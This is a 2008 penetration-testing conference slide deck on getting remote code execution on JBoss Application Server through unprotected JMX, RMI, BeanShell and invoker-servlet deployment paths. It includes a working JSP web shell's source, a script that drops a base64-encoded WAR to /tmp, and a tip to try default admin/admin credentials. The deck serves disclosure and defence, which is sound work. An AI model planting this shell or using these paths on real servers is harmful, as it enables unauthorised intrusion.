Bridging the Gap between the Enterprise and You – or – Who’s the JBoss now?

Patrick Hof (patrick.hof@redteam-pentesting.de)
Jens Liebchen (jens.liebchen@redteam-pentesting.de)
RedTeam Pentesting GmbH
http://www.redteam-pentesting.de

October, 23rd, Luxembourg
hack.lu 2008
RedTeam Pentesting, Dates and Facts

- Founded 2004 in Aachen, Germany
- Specialisation exclusively on penetration tests
- Worldwide realisation of penetration tests
- Research in the IT security field
Who we are not

★ Java (Enterprise) experts
  ★ J2EE is not for the faint of heart
  ★ Example code mostly written in JRuby…

★ JBoss Application Server experts
  ★ JBoss AS is some seriously scary enterprise stuff
  ★ We still haven’t figured out half of it
  ★ But we know how to get a webshell running, that’ll do ;)

Patrick Hof & Jens Liebchen - RedTeam Pentesting GmbH
Bridging the Gap between the Enterprise and You
JBoss Application Server is the open source implementation of the Java EE suite of services. [...] It’s easy-to-use server architecture and high flexibility makes JBoss the ideal choice for users just starting out with J2EE, as well as senior architects looking for a customizable middleware platform.

(JBoss AS Installation and Getting Started Guide)
JBoss AS Overview

Source: http://www.jboss.org/projects/
JBoss Component Relationships

Source: JBoss 4.2.2beta Configuration Guide
Why JBoss AS?

Why is the JBoss Application Server interesting as a target?

- Enterprise software
- Complex
- Widespread use
Testing Environment

All examples were tested under the following conditions:

★ JBoss AS Version: 4.2.3.GA (latest stable community edition)
★ Configuration based on the default config shipped with JBoss AS (with increasingly restricted access)
★ Exposure to the outside world by binding the JBoss AS to all interfaces: -b 0.0.0.0
Objective: Code Execution

★ We want code execution on the JBoss AS
★ Easiest way: Deploy a WAR (Web ARchive)

redteam.war

|-- META-INF
|  |-- MANIFEST.MF
|-- WEB-INF
|  |-- web.xml
  `-- redteam-shell.jsp
redteam-shell.jsp

```jsp
<%@ page import="java.util.*, java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while (disr != null) {
        out.println(disr);
        disr = dis.readLine();
    }
}%>
```
<?xml version="1.0"?>
<web-app
    xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
    version="2.4">
    <servlet>
        <servlet-name>RedTeam Shell</servlet-name>
        <jsp-file>
            /redteam-shell.jsp
        </jsp-file>
    </servlet>
</web-app>
JMX-Console

★ “Live” view of the JBoss AS
★ Direct access to the server’s JMX microkernel and components
★ Modify configuration, start/stop components, run MBean methods etc.
The Deployment MBeans install the different types of supported component files: EAR, WAR, EJB... Most interesting Deployment MBeans (for now):

**MainDeployer**  Entry point for JBoss deployments. Delegates given deployable archives to the responsible subdeployer.

**URLDeploymentScanner** JBoss hot deployment service. Watches one or more URLs for deployable archives and deploys them as they become available or change.
What can we do if the JMX-Console is password protected?

![Password Request]

A username and password are being requested by http://172.20.0.23:8080. The site says: "JBoss JMX Console"

User Name: 
Password: 

[OK] [Cancel]
What can we do if the JMX-Console is password protected?

Ok, first, try admin/admin...
RMI: Remote Method Invocation
→ Perform method invocations on remote Java objects

JNDI: Java Naming and Directory Interface
→ Used by RMI to look up objects

⇒ If the JBoss RMI components are available, instead of using the JMX-Console, we can control all JBoss MBeans via RMI.

Default ports to scan for: 4444 RMI, 1098-1099 Naming
Writing your own Java programs (ab)using RMI is error prone and boring.

→ *Twiddle* to the rescue

```
sh jboss-4.2.3.GA/bin/twiddle.sh -h
```

A JMX client to ’twiddle’ with a remote JBoss server.

usage: twiddle.sh [options] <command> [command_arguments]
Sometimes, the JBoss AS may not have the rights to initiate outbound connections, e.g. due to firewall restrictions.

→ Not possible to deploy from an external URL anymore
Sometimes, the JBoss AS may not have the rights to initiate outbound connections, e.g. due to firewall restrictions.

→ Not possible to deploy from an external URL anymore

So, how can we upload our WAR file to the server?
The BSH Deployer, or BeanShell Deployer allows you to deploy one-time execution scripts or even services in JBoss.

Scripts are plain text files with a .bsh extension and can even be hot-deployed. This gives you scripting access inside the JBoss server.

(https://www.jboss.org/community/docs/DOC-9131)
Class BeanShellSubDeployer

From the JBoss Class BeanShellSubDeployer Javadoc:

```java
public URL createScriptDeployment(String bshScript, String scriptName)
    throws org.jboss.deployment.DeploymentException
```

Create a bsh deployment given the script content and name. This creates a temp file using `File.createTempFile(scriptName, ".bsh")` and then deploys this script via the main deployer.
Beanshell Script (with Newlines)

```java
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

// Base64 encoded redteam.war
String val = "UEsDBBQACA [...] AAAAA"

BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fstream = new FileOutputStream("/tmp/redteam.war");
fstream.write(byteval);
fstream.close();
```
Beanshell Script (with Newlines)

```java
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

// Base64 encoded redteam.war
String val = "UEsDBBQACA [...] AAAAA";

BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fstream = new FileOutputStream("/tmp/redteam.war");
fstream.write(byteval);
fstream.close();

Deploy /tmp/redteam.war via MainDeployer ⇒ Voilà
```
BSHDeployer

Demo
Web-Console

★ Until now, we needed either an open JMX-Console or RMI
★ What if
   a) The JMX-Console is password protected
   b) RMI is not available / everything besides the JBoss Webserver is firewalled?

⇒ Let’s have a look at the Web-Console
Web-Console

- Combination of an applet and HTML view of the JMX microkernel and components
- MBean links go to the JMX-Console
- Applet has some additional capabilities (e.g. monitoring JMX attributes with real-time graphs)
Open Web-Console
→ Only Information Disclosure?
Open Web-Console
→ Only Information Disclosure?

⇒ Wrong
The Web-Console applet’s monitoring tools use a JMX InvokerServlet for their functionality.

- Class org.jboss.console.remote.InvokerServlet, mapped to /web-console/Invoker

- The InvokerServlet is not restricted to monitoring functions, but is a general purpose JMX Invoker

⇒ We can send arbitrary JMX commands to the servlet.
$ jruby 1.0 webconsole_invoker.rb -h
Usage: webconsole_invoker.rb [options] MBean
  
  -u, --url URL  The Invoker URL to use
      (default: http://localhost:8080/web-console/Invoker)
  -a, --get-attr ATTR  Read an attribute of an MBean
  -i, --invoke METHOD  invoke an MBean method
  -p, --invoke-params PARAMS  MBean method params
  -s, --invoke-sigs SIGS  MBean method signature
  -t, --test
      Test the script with the ServerInfo MBean
  -h, --help  Show this help

Example usage:
webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo
webconsole_invoker.rb -i listThreadDump
  jboss.system:type=ServerInfo
webconsole_invoker.rb -i listMemoryPools -p true
  -s boolean jboss.system:type=ServerInfo
web-console/Invoker

Demo
That was fun. But what if

a) The JMX-Console is password protected
b) RMI is not available / everything besides the JBoss Webserver port is firewalled
c) The Web-Console is password protected?
That was fun. But what if

a) The JMX-Console is password protected
b) RMI is not available / everything besides the JBoss Webserver port is firewalled
c) The Web-Console is password protected?

Don’t give up so early. There’s still one JMX Invoker left...
JBoss makes it possible to do RMI/Naming over HTTP (HttpAdaptor)

This is not enabled by default

But: The JMX Invoker Servlet for this service is up and running

Class

org.jboss.invocation.http.servlet.InvokerServlet, mapped to /invoker/JMXInvokerServlet

⇒ We can send arbitrary JMX commands to the servlet. Again.
No example script for this one (*insert rant about too little time*)

For demonstration purposes, we go the easy route:

1. Set up a JBoss instance with enabled HttpAdaptor for RMI over HTTP
2. Write a short program sending the JMX command(s) we need
3. Sniff the HTTP POST request to the JMXInvokerServlet and save it for later replaying
Demo
Conclusion

How to deploy your own WAR file on a JBoss Application Server:
Conclusion

How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?
How to deploy your own WAR file on a JBoss Application Server:

- JMX-Console open?
  -⇒ Deployment via web browser

- JMX-Console password protected?
  -⇒ Deployment via RMI

- No outbound connections allowed for JBoss AS?
  -⇒ Deployment via BSHDeployer

- RMI closed/firewalled?
  -⇒ Deployment via /web-console/Invoker

- Web-Console password protected?
  -⇒ Deployment via /invoker/JMXInvokerServlet
How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?  
⇒ Deployment via web browser

★ JMX-Console password protected?
How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?
  ⇒ Deployment via web browser

★ JMX-Console password protected?
  ⇒ Deployment via RMI
How to deploy your own WAR file on a JBoss Application Server:

- JMX-Console open?
  ⇒ Deployment via web browser
- JMX-Console password protected?
  ⇒ Deployment via RMI
- No outbound connections allowed for JBoss AS?
  ⇒ Deployment via BSHTDeployer
Conclusion

How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?
  ⇒ Deployment via web browser

★ JMX-Console password protected?
  ⇒ Deployment via RMI

★ No outbound connections allowed for JBoss AS?
  ⇒ Deployment via BSHDeployer

★ RMI closed/firewalled?
Conclusion

How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?
⇒ Deployment via web browser

★ JMX-Console password protected?
⇒ Deployment via RMI

★ No outbound connections allowed for JBoss AS?
⇒ Deployment via BSHDeployer

★ RMI closed/firewalled?
⇒ Deployment via /web-console/Invoker
How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?
  ⇒ Deployment via web browser

★ JMX-Console password protected?
  ⇒ Deployment via RMI

★ No outbound connections allowed for JBoss AS?
  ⇒ Deployment via BSHDeployer

★ RMI closed/firewalled?
  ⇒ Deployment via /web-console/Invoker

★ Web-Console password protected?
Conclusion

How to deploy your own WAR file on a JBoss Application Server:

★ JMX-Console open?
⇒ Deployment via web browser

★ JMX-Console password protected?
⇒ Deployment via RMI

★ No outbound connections allowed for JBoss AS?
⇒ Deployment via BSHDeployer

★ RMI closed/firewalled?
⇒ Deployment via /web-console/Invoker

★ Web-Console password protected?
⇒ Deployment via /invoker/JMXInvokerServlet
The JBoss Application Server is not a kid’s toy, although it is deceptively easy to set up.


Especially “Securing JBoss”!

https://www.jboss.org/community/docs/DOC-12188
Questions?

Thanks for your attention